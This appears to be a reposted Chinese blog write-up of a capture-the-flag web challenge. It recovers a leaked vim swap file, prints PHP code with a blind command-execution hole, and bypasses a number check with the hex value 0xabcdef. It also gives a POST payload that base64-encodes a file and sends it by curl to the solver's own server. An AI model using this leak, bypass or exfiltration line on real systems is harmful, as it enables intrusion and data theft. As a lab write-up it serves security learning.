• i春秋exec


    打开是一个gif,提示文字未登录

    话不多说,查看源码

    发现vim字样,可能是文件泄露

    直接在url后加/.index.php.swp来下载泄露文件

    下载好了之后放vm上使用vim -r  .index.php.swp  修复文件

    打开后的文件为

    <html>
    <head>
    <title>blind cmd exec</title>
    <meta language='utf-8' editor='vim'>
    </head>
    </body>
    <img src=pic.gif>
    <?php
    /*
    flag in flag233.php
    */
     function check($number)
    {
            $one = ord('1');
            $nine = ord('9');
            for ($i = 0; $i < strlen($number); $i++)
            {   
                    $digit = ord($number{$i});
                    if ( ($digit >= $one) && ($digit <= $nine) )
                    {
                            return false;
                    }
            }
               return $number == '11259375';
    }
    if(isset($_GET[sign])&& check($_GET[sign])){
        setcookie('auth','tcp tunnel is forbidden!');
        if(isset($_POST['cmd'])){
            $command=$_POST[cmd];
            $result=exec($command);
            //echo $result;
        }
    }else{
        die('no sign');
    }
    ?>
    </body>
    </html>

    进行代码分析:

    先告诉我们flagflag233.php(试着访问,告诉我hhhhhhhhhhh,too young too simple。。。。看来是个骗局)

    Flag233.php里面什么都没有,接着读

    发现它定义了一个check函数

    大意是:

    定义变量one其值是数字1ASCII

    ②定义变量nine其值是数字9ASCII

    ③定义循环,条件是当i小于变量number的长度的时候就执行,每次i+1,令变量digit的值每次为ord($number{$i}),如果其值介于4957之间就返回false,如果number中没有在ascii中对应4957之间的数字就让number等于11259375

    然后是一个条件判断:

    如果$_GET[sign])存在,且通过check函数后的$_GET[sign])不为false,就向客户端发送一个 HTTP cookie,又如果post传入了cmd的值,则执行外部程序(cmd的值),并输出最后一行shell结果

    首先绕过第一个判断,让sign的值等于11259375并且sign中不包含1-9数字,这里就直接使用

    16进制来绕过,让sign等于0xabcdef。其值就等于11259375并且不包含1-9的数字

    然后就是上次cookie和执行命令了,这里的命令只输出最后一行shell的结果所以就没法直接查看文件

    我们使用exec()函数来执行cmd命令,查看flag233.php的内容

    构造postcmd=data=$(cat flag233.php | base64);curl http://xx.xx.xx.xx/?data=$data(其中xxx为自己的服务器地址)

    让其对自己服务器进行访问并留下日志,最后去服务器上查看日志就可以得到flag

  • 相关阅读:
    面试经验链接汇集
    258. Add Digits
    192. Word Frequency(shell)
    6、字符串循环对角线结构ZigZag Conversion
    5、最长回文子串Longest Palindromic Substring
    idea常用的快捷命令
    JAVA传输概念
    UUID随机字符串
    Bean的加载
    默认标签的解析过程(三)parseDefaultElement
  • 原文地址:https://www.cnblogs.com/wosun/p/11675149.html
Copyright © 2020-2023  润新知